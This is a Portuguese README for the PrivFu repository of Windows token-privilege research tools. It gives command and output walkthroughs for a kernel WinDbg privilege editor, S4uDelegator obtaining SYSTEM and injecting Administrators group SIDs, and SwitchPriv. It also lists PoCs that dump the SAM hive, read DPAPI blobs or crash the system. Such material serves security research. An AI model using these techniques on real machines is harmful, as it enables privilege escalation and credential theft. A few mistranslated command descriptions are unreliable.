
Extensão do WinDbg em modo kernel e PoCs para investigação de privilégios de token.
Extensão do WinDbg em modo kernel e PoCs para testar como as permissões de token funcionam.
Existem repositórios e artigos notáveis sobre abuso de privilégios de token, como o Priv2Admin de Grzegorz Tworek. Os códigos neste repositório têm o objetivo de ajudar a investigar como as permissões de token funcionam.
Este projeto aborda como obter privilégios de sistema a partir de um shell de nível de integridade alto. Consulte README.md para obter detalhes.
O objetivo deste projeto é investigar como atacantes abusam de vulnerabilidades de escrita arbitrária no kernel. Todos os PoCs foram escritos para o HackSys Extreme Vulnerable Driver. A maioria desses PoCs realiza a obtenção do nível de integridade SYSTEM abusando de vulnerabilidades de escrita arbitrária no kernel e de permissões de token. Testado no Windows 10 versão 1809/1903, mas devem funcionar na maioria das versões do Windows 10 teoricamente:
Aviso
Em alguns ambientes, a compilação Debug não funciona. A compilação Release é preferível.
PrivEditor é uma extensão do WinDbg em modo kernel para manipular a permissão de token de um processo específico. Esta extensão facilita a configuração da permissão de token que você deseja investigar:``` 0: kd> .load C:\dev\PrivEditor\x64\Release\PrivEditor.dll
PrivEditor - Kernel Mode WinDbg extension for token privilege edit.
Commands : + !getps : List processes in target system. + !getpriv : List privileges of a process. + !addpriv : Add privilege(s) to a process. + !rmpriv : Remove privilege(s) from a process. + !enablepriv : Enable privilege(s) of a process. + !disablepriv : Disable privilege(s) of a process. + !enableall : Enable all privileges available to a process. + !disableall : Disable all privileges available to a process.
[*] To see command help, execute "! help" or "! /?".
### Comando getps
Este comando serve para listar processos no seu sistema alvo:```
0: kd> !getps /?
!getps - List processes in target system.
Usage : !getps [Process Name]
Process Name : (OPTIONAL) Specifies filter string for process name.
Se você executar este comando sem argumentos, este comando lista todos os processos no seu sistema alvo da seguinte forma:``` 0: kd> !getps
PID nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
0 0xfffff80581233630 0x0000000000000000 Idle
4 0xffffd60fec068380 0xffffaf00cec07a40 System
68 0xffffd60ff1780480 0xffffaf00d3b290a0 svchost.exe
88 0xffffd60fec0db080 0xffffaf00cec0d080 Registry
324 0xffffd60fef342040 0xffffaf00d0416080 smss.exe
348 0xffffd60ff052f100 0xffffaf00d25d30a0 dwm.exe
408 0xffffd60feca8e140 0xffffaf00d21bd930 csrss.exe
480 0xffffd60ff05a8340 0xffffaf00d2568670 svchost.exe
484 0xffffd60fefcd60c0 0xffffaf00d06430e0 wininit.exe
500 0xffffd60fefd130c0 0xffffaf00d23100a0 csrss.exe
580 0xffffd60fefdc0080 0xffffaf00d2266630 winlogon.exe
--snip--
Se você quiser saber sobre processos específicos, defina o filtro de string da seguinte forma:
O filtro funciona com correspondência direta e sem distinção entre maiúsculas e minúsculas:```
0: kd> !getps micro
PID nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
4568 0xffffd60f`f14ed080 0xffffaf00`d3db60a0 MicrosoftEdge.exe
4884 0xffffd60f`f1647080 0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
4892 0xffffd60f`f1685080 0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe
Este comando serve para listar privilégios de token de um processo específico:``` 0: kd> !getpriv /?
!getpriv - List privileges of a process.
Usage : !getpriv
PID : Specifies target process ID.
Para usar este comando, você precisa definir um ID de processo alvo em formato decimal da seguinte forma:```
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
Este comando serve para adicionar privilégio(s) de token a um processo específico:``` 0: kd> !addpriv /?
!addpriv - Add privilege(s) to a process.
Usage : !addpriv
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
+ IncreaseQuota : SeIncreaseQuotaPrivilege.
+ MachineAccount : SeMachineAccountPrivilege.
+ Tcb : SeTcbPrivilege.
+ Security : SeSecurityPrivilege.
+ TakeOwnership : SeTakeOwnershipPrivilege.
+ LoadDriver : SeLoadDriverPrivilege.
+ SystemProfile : SeSystemProfilePrivilege.
+ Systemtime : SeSystemtimePrivilege.
+ ProfileSingleProcess : SeProfileSingleProcessPrivilege.
+ IncreaseBasePriority : SeIncreaseBasePriorityPrivilege.
+ CreatePagefile : SeCreatePagefilePrivilege.
+ CreatePermanent : SeCreatePermanentPrivilege.
+ Backup : SeBackupPrivilege.
+ Restore : SeRestorePrivilege.
+ Shutdown : SeShutdownPrivilege.
+ Debug : SeDebugPrivilege.
+ Audit : SeAuditPrivilege.
+ SystemEnvironment : SeSystemEnvironmentPrivilege.
+ ChangeNotify : SeChangeNotifyPrivilege.
+ RemoteShutdown : SeRemoteShutdownPrivilege.
+ Undock : SeUndockPrivilege.
+ SyncAgent : SeSyncAgentPrivilege.
+ EnableDelegation : SeEnableDelegationPrivilege.
+ ManageVolume : SeManageVolumePrivilege.
+ Impersonate : SeImpersonatePrivilege.
+ CreateGlobal : SeCreateGlobalPrivilege.
+ TrustedCredManAccess : SeTrustedCredManAccessPrivilege.
+ Relabel : SeRelabelPrivilege.
+ IncreaseWorkingSet : SeIncreaseWorkingSetPrivilege.
+ TimeZone : SeTimeZonePrivilege.
+ CreateSymbolicLink : SeCreateSymbolicLinkPrivilege.
+ DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
+ All : All privileges.
Por exemplo, se você deseja definir SeDebugPrivilege para um processo específico, defina um ID de processo alvo para o primeiro argumento e encurte o nome do privilégio `debug` conforme listado na mensagem de ajuda para o segundo argumento da seguinte forma:```
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
0: kd> !addpriv 5704 debug
[>] Trying to add SeDebugPrivilege.
[*] Done.
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeDebugPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
O argumento de nome de privilégio não diferencia maiúsculas de minúsculas.
Se você deseja adicionar todos os privilégios de token de uma vez, defina all como o argumento de nome de privilégio:```
0: kd> !addpriv 5704 all
[>] Trying to add all privileges. [*] Done.
0: kd> !getpriv 5704
Privilege Name State ========================================== ======== SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege Disabled SeIncreaseQuotaPrivilege Disabled SeMachineAccountPrivilege Disabled SeTcbPrivilege Disabled SeSecurityPrivilege Disabled
--snip--
### rmpriv Command
Este comando serve para remover privilégio(s) de token de um processo específico:```
0: kd> !rmpriv /?
!rmpriv - Remove privilege(s) from a process.
Usage : !rmpriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
Se você deseja remover SeChangeNotifyPrivilege, execute este comando da seguinte forma:``` 0: kd> !getpriv 352
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled
[] PID : 352
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770
0: kd> !rmpriv 352 changenotify
[>] Trying to remove SeChangeNotifyPrivilege. [*] Done.
0: kd> !getpriv 352
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled
[] PID : 352
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770
Com o comando `!addpriv`, você pode remover todos os privilégios do token de uma vez, definindo `all` como argumento do nome do privilégio:```
0: kd> !rmpriv 352 all
[>] Trying to remove all privileges.
[*] Done.
0: kd> !getpriv 352
Privilege Name State
========================================== ========
[*] PID : 352
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770
Este comando serve para ativar privilégio(s) de token de um processo específico:``` 0: kd> !enablepriv /?
!enablepriv - Enable privilege(s) of a process.
Usage : !enablepriv
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
O primeiro argumento é para o ID do processo, e o segundo é para o nome do privilégio do token:```
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
0: kd> !enablepriv 1932 timezone
[>] Trying to enable SeTimeZonePrivilege.
[*] Done.
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
Se você tentou ativar privilégio(s), ainda não adicionado(s), este comando adiciona automaticamente:``` 0: kd> !getpriv 1932
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled
[] PID : 1932
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0
0: kd> !enablepriv 1932 debug
[] SeDebugPrivilege is not present. [>] Trying to add SeDebugPrivilege. [>] Trying to enable SeDebugPrivilege. [] Done.
0: kd> !getpriv 1932
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled
[] PID : 1932
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0
### Comando disablepriv
Este comando é para desativar privilégio(s) de token de um processo específico:```
0: kd> !disablepriv /?
!disablepriv - Disable privilege(s) of a process.
Usage : !disablepriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
Para usar este comando, defina um ID de processo alvo para o primeiro argumento e o nome do privilégio do token para o segundo argumento:``` 0: kd> !getpriv 1932
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled
[] PID : 1932
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0
0: kd> !disablepriv 1932 debug
[>] Trying to disable SeDebugPrivilege. [*] Done.
0: kd> !getpriv 1932
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled
[] PID : 1932
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0
### Comando enableall
Este comando é para ativar todos os privilégios de token disponíveis para um processo específico:```
0: kd> !enableall /?
!enableall - Enable all privileges available to a process.
Usage : !enableall <PID>
PID : Specifies target process ID.
Funciona da seguinte forma:``` 0: kd> !getpriv 3792
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled
[] PID : 3792
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0
0: kd> !enableall 3792
[>] Trying to enable all available privileges. [*] Done.
0: kd> !getpriv 3792
Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled
[] PID : 3792
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0
### Comando disableall
Este comando serve para desabilitar todos os privilégios de token de um processo específico:```
0: kd> !disableall /?
!disableall - Disable all privileges available to a process.
Usage : !disableall <PID>
PID : Specifies target process ID.
Este comando é equivalente a !disablepriv <PID> all. Funciona da seguinte forma:```
0: kd> !getpriv 3792
Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled
[] PID : 3792
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0
0: kd> !disableall 3792
[>] Trying to disable all available privileges. [*] Done.
0: kd> !getpriv 3792
Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled
[] PID : 3792
[] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0
## PrivilegedOperations
[Voltar ao topo](#privfu)
[Projeto](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)
Este projeto contém PoCs para privilégios de token sensíveis, como `SeDebugPrivilege`.
Atualmente, PoCs lançadas para uma parte deles.
| Nome do Programa | Descrição |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | Este PoC tenta criar novo(s) evento(s) de segurança usando `SeAuditPrivilegePoC`. O `SeAuditPrivilege` não requer nível de integridade elevado, mas este PoC requer privilégios administrativos na primeira execução para instalar uma nova fonte de eventos. Além disso, para confirmar o resultado, este PoC pode exigir modificação na configuração da política de segurança local. |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | Este PoC tenta despejar `HKLM\SAM` usando `SeBackupPrivilege`. |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | Este PoC tenta definir a opção de arquivo de paginação para valores específicos usando `SeCreatePagefilePrivilege`. |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | Este PoC tenta criar um token elevado usando `SeCreateTokenPrivilege`. |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | Este PoC tenta abrir um handle para winlogon.exe usando `SeDebugPrivilege`. |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | Este PoC tenta alocar uma região de memória de Página Grande usando `SeLockMemoryPrivilege`. |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | Este PoC tenta escrever um arquivo de teste em `C:\Windows\System32\` usando `SeRestorePrivilege`. |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | Este PoC tenta ler o evento de segurança mais recente usando `SeSecurityPrivilege`. |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | Este PoC tenta causar BSOD usando `SeShutdownPrivilege`. |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | Este PoC tenta enumerar o ambiente do sistema usando `SeSystemEnvironmentPrivilege`. Funciona apenas para sistemas baseados em UEFI. Devido à funcionalidade do SO, este PoC não funciona para SOs anteriores ao Windows 10 Build 1809. |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | Este PoC tenta alterar o proprietário de `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` para a conta de usuário que o chamou usando `SeTakeOwnershipPrivilege`. |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | Este PoC tenta realizar o logon S4U para ser `Builtin\Backup Operators` usando `SeTcbPrivilege`. |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | Este PoC tenta acessar o blob DPAPI usando `SeTrustedCredManAccessPrivilege`. |
## S4uDelegator
[Voltar ao topo](#privfu)
[Projeto](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)
Esta ferramenta serve para realizar logon S4U com SeTcbPrivilege.
Para realizar logon S4U com esta ferramenta, são necessários privilégios administrativos.```
PS C:\Tools> .\S4uDelegator.exe -h
S4uDelegator - Tool for S4U Logon.
Usage: S4uDelegator.exe [Options]
-h, --help : Displays this help message.
-l, --lookup : Flag to lookup account SID.
-x, --execute : Flag to execute command.
-c, --command : Specifies command to execute. Default is cmd.exe.
-d, --domain : Specifies domain name to lookup or S4U logon.
-e, --extra : Specifies group SIDs you want to add for S4U logon with comma separation.
-n, --name : Specifies account name to lookup or S4U logon.
-s, --sid : Specifies SID to lookup.
Para usar esta ferramenta, a flag -l ou -x deve ser especificada.
A flag -l é para consultar informações da conta da seguinte forma:```
PS C:\Tools> .\S4uDelegator.exe -l -d contoso -n "domain admins"
[] Account Name : CONTOSO\Domain Admins [] SID : S-1-5-21-3654360273-254804765-2004310818-512 [*] Account Type : Group
PS C:\Tools> .\S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736
[] Account Name : NT SERVICE\WinDefend [] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup
Para executar comando com logon S4U, defina a flag `-x` e especifique o nome da conta ou SID da seguinte forma.
O comando a ser executado pode ser especificado com a opção `-c` (padrão é `cmd.exe`):```
PS C:\Tools> whoami /user
USER INFORMATION
----------------
User Name SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin
[*] S4U logon target information:
[*] Account : CL01\admin
[*] SID : S-1-5-21-2659926013-4203293582-4033841475-500
[*] UPN : (Null)
[*] Type : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Tools>whoami /user
USER INFORMATION
----------------
User Name SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500
Se você quiser adicionar informações extras de grupo, defina os SIDs de grupo com valor separado por vírgula usando a opção -e da seguinte forma:```
PS C:\Tools> whoami /user
User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 PS C:\Tools> .\S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell
[] S4U logon target information: [] Account : CONTOSO\jeff [] SID : S-1-5-21-3654360273-254804765-2004310818-1105 [] UPN : [email protected] [] Type : User [>] Verifying extra group SID(s). [] BUILTIN\Administrators (SID : S-1-5-32-544) will be added as a group. [*] NT AUTHORITY\NETWORK SERVICE (SID : S-1-5-20) will be added as a group. [>] Trying to get SYSTEM. [+] Got SYSTEM privileges. [>] Trying to S4U logon. [+] S4U logon is successful. [>] Trying to create a token assigned process. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Tools> whoami /user
Group Name Type SID Attributes
====================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group
CONTOSO\ServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group
Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
> __AVISO__
>
> Se tentar o logon S4U com uma conta sem privilégios para a máquina de destino, receberá o erro `0xC0000142` (`STATUS_DLL_INIT_FAILED`) e o comando não poderá ser executado.
> Para evitar este problema, adicione grupos privilegiados como grupos extras com a opção `-e`.
>
> Além disso, algumas contas não podem ser especificadas como grupo extra (por exemplo, `NT SERVICE\TrustedInstaller`) para o logon S4U.
> Se definir tais contas de grupo como grupo extra, o logon S4U falhará com o erro `0x00000005` (`ERROR_ACCESS_DENIED`)
## SwitchPriv
[Voltar ao Topo](#privfu)
[Projeto](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)
Esta ferramenta serve para ativar ou desativar privilégios específicos de token para um processo:```
PS C:\Dev> .\SwitchPriv.exe -h
SwitchPriv - Tool to control token privileges.
Usage: SwitchPriv.exe [Options]
-h, --help : Displays this help message.
-d, --disable : Specifies token privilege to disable or "all".
-e, --enable : Specifies token privilege to enable or "all".
-f, --filter : Specifies token privilege you want to remain.
-i, --integrity : Specifies integrity level to set in decimal value.
-p, --pid : Specifies the target PID. Default specifies PPID.
-r, --remove : Specifies token privilege to remove or "all".
-s, --search : Specifies token privilege to search.
-g, --get : Flag to get available privileges for the target process.
-l, --list : Flag to list values for --integrity options.
-S, --system : Flag to run as "NT AUTHORITY\SYSTEM".
Para listar valores para a opção --integrity, execute com a flag --list da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -l
Available values for --integrity option:
* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL
Example :
* Down a specific process' integrity level to Low.
PS C:\> .\SwitchPriv.exe -p 4142 -s 1
Protected and Secure level should not be available, but left for research purpose.
O PID do processo alvo é especificado com a opção `-p`.
Você pode listar os privilégios disponíveis para o processo alvo com a flag `-g` e a opção `-p` da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
Quando a opção -p não for especificada, o PID será o PID pai para esta ferramenta:```
PS C:\Dev> .\SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 6772 [] Process Name : powershell [+] Got 5 token privilege(s).
Privilege Name State ============================= ========================= SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled
[] Integrity Level : Medium Mandatory Level [] Done.
O nome do privilégio a ser controlado é especificado com strings insensíveis a maiúsculas/minúsculas, que devem especificar um nome de privilégio único entre os privilégios disponíveis para o processo alvo.
Por exemplo, para ativar `SeUndockPrivilege` no processo alvo, execute com a opção `--enable` da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und
[>] Trying to enable a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
Quando você define uma string falsa que não pode especificar um nome de privilégio único, você receberá a seguinte mensagem:``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -e se
[>] Trying to enable a token privilege. [] Target PID : 9408 [] Process Name : Notepad [-] Cannot specify a unique privilege to enable. [] SeShutdownPrivilege [] SeChangeNotifyPrivilege [] SeUndockPrivilege [] SeIncreaseWorkingSetPrivilege [] SeTimeZonePrivilege [] Done.
Por exemplo, para ativar SeChangeNotifyPrivilege, execute com a opção `--disable` da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan
[>] Trying to disable a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= ==========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Disabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
Para remover privilégio, use a opção --remove da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 5 token privilege(s).
